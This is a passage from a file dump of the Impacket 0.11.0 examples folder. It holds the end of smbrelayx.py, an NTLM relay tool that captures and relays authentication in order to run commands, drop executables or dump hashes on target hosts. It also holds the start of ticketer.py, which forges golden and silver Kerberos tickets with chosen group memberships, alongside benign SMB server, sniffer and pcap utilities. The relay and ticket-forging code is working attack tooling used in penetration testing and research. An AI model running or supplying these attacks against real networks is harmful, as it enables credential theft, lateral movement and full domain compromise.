thread and do whatever we want ntlm_hash_data = outputToJohnFormat(b'', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) # Target will be attacked, adding to the attacked set # If the attack fails, the doAttack thread will be responsible of removing it from the set ATTACKED_HOSTS.add(self.target) if self.runSocks is True: # Pass all the data to the socksplugins proxy protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) protocolClient.session = SMBConnection(existingConnection=smbClient) activeConnections.put((self.target, 445, 'SMB', ('%s/%s' % ( sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper(), protocolClient, connData)) logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) # Remove the target server from our connection list, the work is done del (smbData[self.target]) else: # Remove the target server from our connection list, the work is done del (smbData[self.target]) clientThread = doAttack(smbClient, self.exeFile, self.command) clientThread.start() # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = self.returnStatus logging.info("Sending status code %s after authentication to %s" % ( ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode def _start(self): self.server.serve_forever() def run(self): logging.info("Setting up SMB Server") self._start() def setTargets(self, targets): self.target = targets def setExeFile(self, filename): self.exeFile = filename def setCommand(self, command): self.command = command def setSocks(self, socks): self.runSocks = socks def setReturnStatus(self, returnStatus): # Specifies return status after successful relayed authentication to return # to the connecting client. This comes useful when we don't want the connecting # client to store successful credentials in his memory. Valid statuses: # STATUS_SUCCESS - denotes that the connecting client passed valid credentials, # which will make him store them accordingly. # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin, # and got configured Remote UAC, thus preventing connection to ADMIN$ # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials # are invalid. self.returnStatus = { 'success' : STATUS_SUCCESS, 'denied' : STATUS_ACCESS_DENIED, 'logon_failure' : STATUS_LOGON_FAILURE }[returnStatus.lower()] def setMode(self,mode, one_shot): self.mode = mode self.one_shot = one_shot def setDomainAccount( self, machineAccount, machineHashes, domainIp): self.machineAccount = machineAccount self.machineHashes = machineHashes self.domainIp = domainIp # Process command-line arguments. if __name__ == '__main__': RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) print(version.BANNER) print(version.WARNING_BANNER) parser = argparse.ArgumentParser(add_help=False, description="For every connection received, this module will try to SMB relay that " " connection to the target system or the original client") parser.add_argument("--help", action="help", help='show this help message and exit') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-h', action='store', metavar='HOST', help='Host to relay the credentials to, if not it will relay it back to the client') parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success', help='Status to return after client performed authentication. Default: "success".') parser.add_argument('-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. If not specified, hashes will be dumped ' '(secretsdump.py must be in the same directory)') parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on target system. If not specified, hashes will be dumped ' '(secretsdump.py must be in the same directory)') parser.add_argument('-socks', action='store_true', default=False, help='Launch a SOCKS proxy for the connection relayed') parser.add_argument('-one-shot', action='store_true', default=False, help='After successful authentication, only execute the attack once for each target') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbrelayx.py ' 'again with -codec and the corresponding codec ' % CODEC) parser.add_argument('-outputfile', action='store', help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when interacting with the domain to grab a session key for ' 'signing, format is domain/machine_name') parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH') parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') try: options = parser.parse_args() except Exception as e: logging.error(str(e)) sys.exit(1) # Init the example's logger theme logger.init(options.ts) if options.codec is not None: CODEC = options.codec if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) if options.h is not None: logging.info("Running in relay mode") mode = 'RELAY' targetSystem = options.h else: logging.info("Running in reflection mode") targetSystem = None mode = 'REFLECTION' exeFile = options.e Command = options.c returnStatus = options.s threads = set() if options.socks is True: # Start a SOCKS proxy in the background s1 = SOCKS() socks_thread = Thread(target=s1.serve_forever) socks_thread.daemon = True socks_thread.start() threads.add(socks_thread) for server in RELAY_SERVERS: s = server(options.outputfile) s.setTargets(targetSystem) s.setExeFile(exeFile) s.setCommand(Command) s.setSocks(options.socks) s.setReturnStatus(returnStatus) s.setMode(mode, options.one_shot) if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: logging.error("You must specify machine-account/hashes/domain all together!") sys.exit(1) s.start() threads.add(s) print("") logging.info("Servers started, waiting for connections") while True: try: sys.stdin.read() except KeyboardInterrupt: logging.info('Quitting.. please wait') if options.socks is True: s1.shutdown() for s in threads: del(s) sys.exit(1) else: pass impacket-impacket_0_11_0/examples/smbserver.py000077500000000000000000000103721446174712300216240ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Simple SMB Server example. # # Author: # Alberto Solino (@agsolino) # import sys import argparse import logging from impacket.examples import logger from impacket import smbserver, version from impacket.ntlm import compute_lmhash, compute_nthash if __name__ == '__main__': # Init the example's logger theme print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " "share specified as an argument. You need to be root in order to bind to port 445. " "For optional authentication, it is possible to specify username and password or the NTLM hash. " "Example: smbserver.py -comment 'My share' TMP /tmp") parser.add_argument('shareName', action='store', help='name of the share to add') parser.add_argument('sharePath', action='store', help='path of the share to add') parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') parser.add_argument('-username', action="store", help='Username to authenticate clients') parser.add_argument('-password', action="store", help='Password for the Username') parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') if len(sys.argv)==1: parser.print_help() sys.exit(1) try: options = parser.parse_args() except Exception as e: logging.critical(str(e)) sys.exit(1) logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.comment is None: comment = '' else: comment = options.comment server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) server.addShare(options.shareName.upper(), options.sharePath, comment) server.setSMB2Support(options.smb2support) # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous # connections will be allowed if options.username is not None: # we either need a password or hashes, if not, ask if options.password is None and options.hashes is None: from getpass import getpass password = getpass("Password:") # Let's convert to hashes lmhash = compute_lmhash(password) nthash = compute_nthash(password) elif options.password is not None: lmhash = compute_lmhash(options.password) nthash = compute_nthash(options.password) else: lmhash, nthash = options.hashes.split(':') server.addCredential(options.username, 0, lmhash, nthash) # Here you can set a custom SMB challenge in hex format # If empty defaults to '4141414141414141' # (remember: must be 16 hex bytes long) # e.g. server.setSMBChallenge('12345678abcdef00') server.setSMBChallenge('') # If you don't want log to stdout, comment the following line # If you want log dumped to a file, enter the filename server.setLogFile('') # Rock and roll server.start() impacket-impacket_0_11_0/examples/sniff.py000077500000000000000000000062311446174712300207200ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Simple packet sniffer. # # This packet sniffer uses the pcap library to listen for packets in # transit over the specified interface. The returned packages can be # filtered according to a BPF filter (see tcpdump(3) for further # information on BPF filters). # # Note that the user might need special permissions to be able to use pcap. # # Authors: # Maximiliano Caceres # Javier Kohen # # Reference for: # pcapy: findalldevs, open_live # ImpactDecoder # import sys from threading import Thread import pcapy from pcapy import findalldevs, open_live from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder class DecoderThread(Thread): def __init__(self, pcapObj): # Query the type of the link and instantiate a decoder accordingly. datalink = pcapObj.datalink() if pcapy.DLT_EN10MB == datalink: self.decoder = EthDecoder() elif pcapy.DLT_LINUX_SLL == datalink: self.decoder = LinuxSLLDecoder() else: raise Exception("Datalink type not supported: " % datalink) self.pcap = pcapObj Thread.__init__(self) def run(self): # Sniff ad infinitum. # PacketHandler shall be invoked by pcap for every packet. self.pcap.loop(0, self.packetHandler) def packetHandler(self, hdr, data): # Use the ImpactDecoder to turn the rawpacket into a hierarchy # of ImpactPacket instances. # Display the packet in human-readable form. print(self.decoder.decode(data)) def getInterface(): # Grab a list of interfaces that pcap is able to listen on. # The current user will be able to listen from all returned interfaces, # using open_live to open them. ifs = findalldevs() # No interfaces available, abort. if 0 == len(ifs): print("You don't have enough permissions to open any interface on this system.") sys.exit(1) # Only one interface available, use it. elif 1 == len(ifs): print('Only one interface present, defaulting to it.') return ifs[0] # Ask the user to choose an interface from the list. count = 0 for iface in ifs: print('%i - %s' % (count, iface)) count += 1 idx = int(input('Please select an interface: ')) return ifs[idx] def main(filter): dev = getInterface() # Open interface for catpuring. p = open_live(dev, 1500, 0, 100) # Set the BPF filter. See tcpdump(3). p.setfilter(filter) print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())) # Start sniffing thread and finish main thread. DecoderThread(p).start() # Process command-line arguments. Take everything as a BPF filter to pass # onto pcap. Default to the empty filter (match all). filter = '' if len(sys.argv) > 1: filter = ' '.join(sys.argv[1:]) main(filter) impacket-impacket_0_11_0/examples/sniffer.py000077500000000000000000000043551446174712300212540ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Simple packet sniffer. # # This packet sniffer uses a raw socket to listen for packets # in transit corresponding to the specified protocols. # # Note that the user might need special permissions to be able to use # raw sockets. # # Authors: # Gerardo Richarte (@gerasdf) # Javier Kohen # # Reference for: # ImpactDecoder # from select import select import socket import sys from impacket import ImpactDecoder DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') if len(sys.argv) == 1: toListen = DEFAULT_PROTOCOLS print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]) else: toListen = sys.argv[1:] # Open one socket for each specified protocol. # A special option is set on the socket so that IP headers are included with # the returned data. sockets = [] for protocol in toListen: try: protocol_num = socket.getprotobyname(protocol) except socket.error: print("Ignoring unknown protocol:", protocol) toListen.remove(protocol) continue s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sockets.append(s) if 0 == len(toListen): print("There are no protocols available.") sys.exit(0) print("Listening on protocols:", toListen) # Instantiate an IP packets decoder. # As all the packets include their IP header, that decoder only is enough. decoder = ImpactDecoder.IPDecoder() while len(sockets) > 0: # Wait for an incoming packet on any socket. ready = select(sockets, [], [])[0] for s in ready: packet = s.recvfrom(4096)[0] if 0 == len(packet): # Socket remotely closed. Discard it. sockets.remove(s) s.close() else: # Packet received. Decode and display it. packet = decoder.decode(packet) print(packet) impacket-impacket_0_11_0/examples/split.py000077500000000000000000000107011446174712300207430ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Pcap dump splitter # # This tools splits pcap capture files into smaller ones, one for each # different TCP/IP connection found in the original. # # Authors: # Alejandro D. Weil # Javier Kohen # # Reference for: # pcapy: open_offline, pcapdumper # ImpactDecoder # from __future__ import division from __future__ import print_function import sys import pcapy from pcapy import open_offline from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder class Connection: """This class can be used as a key in a dictionary to select a connection given a pair of peers. Two connections are considered the same if both peers are equal, despite the order in which they were passed to the class constructor. """ def __init__(self, p1, p2): """This constructor takes two tuples, one for each peer. The first element in each tuple is the IP address as a string, and the second is the port as an integer. """ self.p1 = p1 self.p2 = p2 def getFilename(self): """Utility function that returns a filename composed by the IP addresses and ports of both peers. """ return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) def __cmp__(self, other): if ((self.p1 == other.p1 and self.p2 == other.p2) or (self.p1 == other.p2 and self.p2 == other.p1)): return 0 else: return -1 def __hash__(self): return (hash(self.p1[0]) ^ hash(self.p1[1]) ^ hash(self.p2[0]) ^ hash(self.p2[1])) class Decoder: def __init__(self, pcapObj): # Query the type of the link and instantiate a decoder accordingly. datalink = pcapObj.datalink() if pcapy.DLT_EN10MB == datalink: self.decoder = EthDecoder() elif pcapy.DLT_LINUX_SLL == datalink: self.decoder = LinuxSLLDecoder() else: raise Exception("Datalink type not supported: " % datalink) self.pcap = pcapObj self.connections = {} def start(self): # Sniff ad infinitum. # PacketHandler shall be invoked by pcap for every packet. self.pcap.loop(0, self.packetHandler) def packetHandler(self, hdr, data): """Handles an incoming pcap packet. This method only knows how to recognize TCP/IP connections. Be sure that only TCP packets are passed onto this handler (or fix the code to ignore the others). Setting r"ip proto \tcp" as part of the pcap filter expression suffices, and there shouldn't be any problem combining that with other expressions. """ # Use the ImpactDecoder to turn the rawpacket into a hierarchy # of ImpactPacket instances. p = self.decoder.decode(data) ip = p.child() tcp = ip.child() # Build a distinctive key for this pair of peers. src = (ip.get_ip_src(), tcp.get_th_sport() ) dst = (ip.get_ip_dst(), tcp.get_th_dport() ) con = Connection(src,dst) # If there isn't an entry associated yetwith this connection, # open a new pcapdumper and create an association. if ('%s%s' % (con.p1, con.p2)) not in self.connections: fn = con.getFilename() print("Found a new connection, storing into:", fn) try: dumper = self.pcap.dump_open(fn) except pcapy.PcapError: print("Can't write packet to:", fn) return self.connections['%s%s' % (con.p1, con.p2)] = dumper # Write the packet to the corresponding file. self.connections['%s%s' % (con.p1, con.p2)].dump(hdr, data) def main(filename): # Open file p = open_offline(filename) # At the moment the callback only accepts TCP/IP packets. p.setfilter(r'ip proto \tcp') print("Reading from %s: linktype=%d" % (filename, p.datalink())) # Start decoding process. Decoder(p).start() # Process command-line arguments. if __name__ == '__main__': if len(sys.argv) <= 1: print("Usage: %s " % sys.argv[0]) sys.exit(1) main(sys.argv[1]) impacket-impacket_0_11_0/examples/ticketConverter.py000077500000000000000000000044151446174712300227700ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, # and vice versa. # # Examples: # ./ticket_converter.py admin.ccache admin.kirbi # ./ticket_converter.py admin.kirbi admin.ccache # # Author: # Zer1t0 (https://github.com/Zer1t0) # # References: # - https://tools.ietf.org/html/rfc4120 # - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html # - https://github.com/gentilkiwi/kekeo # - https://github.com/rvazarkar/KrbCredExport # import argparse import struct from impacket import version from impacket.krb5.ccache import CCache def parse_args(): parser = argparse.ArgumentParser() parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format") parser.add_argument('output_file', help="Output file") return parser.parse_args() def main(): print(version.BANNER) args = parse_args() if is_kirbi_file(args.input_file): print('[*] converting kirbi to ccache...') convert_kirbi_to_ccache(args.input_file, args.output_file) print('[+] done') elif is_ccache_file(args.input_file): print('[*] converting ccache to kirbi...') convert_ccache_to_kirbi(args.input_file, args.output_file) print('[+] done') else: print('[X] unknown file format') def is_kirbi_file(filename): with open(filename, 'rb') as fi: fileid = struct.unpack(">B", fi.read(1))[0] return fileid == 0x76 def is_ccache_file(filename): with open(filename, 'rb') as fi: fileid = struct.unpack(">B", fi.read(1))[0] return fileid == 0x5 def convert_kirbi_to_ccache(input_filename, output_filename): ccache = CCache.loadKirbiFile(input_filename) ccache.saveFile(output_filename) def convert_ccache_to_kirbi(input_filename, output_filename): ccache = CCache.loadFile(input_filename) ccache.saveKirbiFile(output_filename) if __name__ == '__main__': main() impacket-impacket_0_11_0/examples/ticketer.py000077500000000000000000001372431446174712300214350ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) # allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the # groups, extrasids, etc. # Tickets duration is fixed to 10 years from now (although you can manually change it) # # Examples: # ./ticketer.py -nthash -domain-sid -domain baduser # # will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. # If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 # (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as # baduser.ccache. # # ./ticketer.py -nthash -aesKey -domain-sid -domain # -request -user -password baduser # # will first authenticate against the KDC (using -user/-password) and get a TGT that will be used # as template for customization. Whatever encryption algorithms used on that ticket will be honored, # hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved # as baduser.ccache. # # Author: # Alberto Solino (@agsolino) # # References: # - Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash: # (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it) # - Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz # (https://github.com/gentilkiwi/mimikatz) # # ToDo: # [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh # [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC # from __future__ import division from __future__ import print_function import argparse import datetime import logging import random import string import sys from calendar import timegm from time import strptime from binascii import unhexlify from pyasn1.codec.der import encoder, decoder from pyasn1.type.univ import noValue from impacket import version from impacket.dcerpc.v5.dtypes import RPC_SID, SID from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD from impacket.examples import logger from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \ PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ KERB_NON_KERB_CKSUM_SALT from impacket.krb5.keytab import Keytab from impacket.krb5.crypto import Key, _enctype_table from impacket.krb5.crypto import _checksum_table, Enctype from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \ PAC_ATTRIBUTE_INFO from impacket.krb5.types import KerberosTime, Principal from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS class TICKETER: def __init__(self, target, password, domain, options): self.__password = password self.__target = target self.__domain = domain self.__options = options if options.spn: spn = options.spn.split('/') self.__service = spn[0] self.__server = spn[1] if options.keytab is not None: self.loadKeysFromKeytab(options.keytab) # we are creating a golden ticket else: self.__service = 'krbtgt' self.__server = self.__domain @staticmethod def getFileTime(t): t *= 10000000 t += 116444736000000000 return t @staticmethod def getPadLength(data_length): return ((data_length + 7) // 8 * 8) - data_length @staticmethod def getBlockLength(data_length): return (data_length + 7) // 8 * 8 def loadKeysFromKeytab(self, filename): keytab = Keytab.loadFile(filename) keyblock = keytab.getKey("%s@%s" % (options.spn, self.__domain)) if keyblock: if keyblock["keytype"] == Enctype.AES256 or keyblock["keytype"] == Enctype.AES128: options.aesKey = keyblock.hexlifiedValue() elif keyblock["keytype"] == Enctype.RC4: options.nthash = keyblock.hexlifiedValue() else: logging.warning("No matching key for SPN '%s' in given keytab found!", options.spn) def createBasicValidationInfo(self): # 1) KERB_VALIDATION_INFO kerbdata = KERB_VALIDATION_INFO() aTime = timegm(datetime.datetime.utcnow().timetuple()) unixTime = self.getFileTime(aTime) kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__target kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 500 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = int(self.__options.user_id) # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') if len(groups) == 0: # PrimaryGroupId must be set, default to 513 (Domain User) kerbdata['PrimaryGroupId'] = 513 else: # Using first group as primary group kerbdata['PrimaryGroupId'] = int(groups[0]) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain.upper() kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid) kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = VALIDATION_INFO() validationInfo['Data'] = kerbdata return validationInfo def createBasicPac(self, kdcRep): validationInfo = self.createBasicValidationInfo() pacInfos = {} pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() srvCheckSum = PAC_SIGNATURE_DATA() privCheckSum = PAC_SIGNATURE_DATA() if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value srvCheckSum['Signature'] = b'\x00' * 16 privCheckSum['Signature'] = b'\x00' * 16 else: srvCheckSum['Signature'] = b'\x00' * 12 privCheckSum['Signature'] = b'\x00' * 12 if len(self.__options.aesKey) == 64: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value else: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData() pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() clientInfo = PAC_CLIENT_INFO() clientInfo['Name'] = self.__target.encode('utf-16le') clientInfo['NameLength'] = len(clientInfo['Name']) pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() if self.__options.extra_pac: self.createUpnDnsPac(pacInfos) if self.__options.old_pac is False: self.createAttributesInfoPac(pacInfos) self.createRequestorInfoPac(pacInfos) return pacInfos def createUpnDnsPac(self, pacInfos): upnDnsInfo = UPN_DNS_INFO_FULL() PAC_pad = b'\x00' * self.getPadLength(len(upnDnsInfo)) upn_data = f"{self.__target.lower()}@{self.__domain.lower()}".encode("utf-16-le") upnDnsInfo['UpnLength'] = len(upn_data) upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad) total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength'] pad = self.getPadLength(total_len) upn_data += b'\x00' * pad dns_name = self.__domain.upper().encode("utf-16-le") upnDnsInfo['DnsDomainNameLength'] = len(dns_name) upnDnsInfo['DnsDomainNameOffset'] = total_len + pad total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength'] pad = self.getPadLength(total_len) dns_name += b'\x00' * pad # Enable additional data mode (Sam + SID) upnDnsInfo['Flags'] = 2 samName = self.__target.encode("utf-16-le") upnDnsInfo['SamNameLength'] = len(samName) upnDnsInfo['SamNameOffset'] = total_len + pad total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength'] pad = self.getPadLength(total_len) samName += b'\x00' * pad user_sid = SID() user_sid.fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") upnDnsInfo['SidLength'] = len(user_sid) upnDnsInfo['SidOffset'] = total_len + pad total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength'] pad = self.getPadLength(total_len) user_data = user_sid.getData() + b'\x00' * pad # Post-PAC data post_pac_data = upn_data + dns_name + samName + user_data # Pac data building pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data @staticmethod def createAttributesInfoPac(pacInfos): pacAttributes = PAC_ATTRIBUTE_INFO() pacAttributes["FlagsLength"] = 2 pacAttributes["Flags"] = 1 pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData() def createRequestorInfoPac(self, pacInfos): pacRequestor = PAC_REQUESTOR() pacRequestor['UserSid'] = SID() pacRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") 